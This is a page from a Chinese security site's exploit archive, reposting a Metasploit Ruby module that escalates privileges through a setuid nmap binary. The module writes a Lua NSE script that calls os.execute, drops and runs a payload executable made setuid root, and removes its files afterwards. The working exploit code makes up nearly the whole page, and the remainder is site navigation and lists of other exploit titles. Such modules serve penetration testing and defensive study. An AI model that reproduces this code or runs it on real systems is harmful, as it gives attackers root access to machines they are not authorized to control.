首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Setuid Nmap Exploit
来源:http://www.metasploit.com 作者:egypt 发布时间:2012-07-19  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'


class Metasploit4 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'setuid nmap "exploit"',
				'Description'   => %q{
					Nmap's man page mentions that "Nmap should never be installed with
					special privileges (e.g. suid root) for security reasons.." and
					specifically avoids making any of its binaries setuid during
					installation.  Nevertheless, administrators sometimes feel the need
					to do insecure things.  This module abuses a setuid nmap binary by
					writing out a lua nse script containing a call to os.execute().

					Note that modern interpreters will refuse to run scripts on the
					command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
					payloads will most likely not work.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'egypt' ],
				'Platform'      => [ 'unix', 'linux', 'bsd' ],
				'Arch'          => [ ARCH_CMD, ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'Targets'       =>
					[
						[ 'Command payload', { 'Arch' => ARCH_CMD } ],
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						[ 'BSD x86',         { 'Arch' => ARCH_X86 } ],
					],
				'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
				'DefaultTarget' => 0,
			}
			))
		register_options([
				# These are not OptPath becuase it's a *remote* path
				OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
				OptString.new("Nmap",        [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
			], self.class)
	end

	def check
		stat = session.fs.file.stat(datastore["Nmap"])
		if stat and stat.file? and stat.setuid?
			print_good("#{stat.prettymode} #{datastore["Nmap"]}")
			return CheckCode::Vulnerable
		end
		return CheckCode::Safe
	end

	def exploit
		if (target.arch.include? ARCH_CMD)
			p = payload.encoded.gsub(/([___FCKpd___0quot;])/) {|m| "\\#{$1}" }
			evil_lua = %Q{ os.execute("#{p} &") }
		else
			exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
			print_status("Dropping executable #{exe_file}")
			write_file(exe_file, generate_payload_exe)
			evil_lua = %Q{
				os.execute("chown root:root #{exe_file}");
				os.execute("chmod 6777 #{exe_file}");
				os.execute("#{exe_file} &");
				os.execute("rm #{exe_file}");
			}
		end
		lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
		print_status("Dropping lua #{lua_file}")
		write_file(lua_file, evil_lua)

		print_status("running")

		begin
			cmd_exec "#{datastore["Nmap"]} --script #{lua_file}"
		ensure
			cmd_exec "rm -f #{lua_file} #{exe_file}"
		end

	end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Arora Browser 0.10.2 Denial Of
·Novell ZENworks Configuration
·Novell ZENworks Configuration
·Windows Escalate Task Schedule
·Linux Kernel Sendpage Local Pr
·Google Chrome 19 metro_driver.
·Intel SYSRET FreeBSD Privilege
·Simple Web Server 2.2 rc2 Remo
·DomsHttpd <= 1.0 Remote Denial
·Novell ZENworks Configuration
·ALLMediaServer 0.8 Buffer Over
·Novell ZENworks Configuration
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved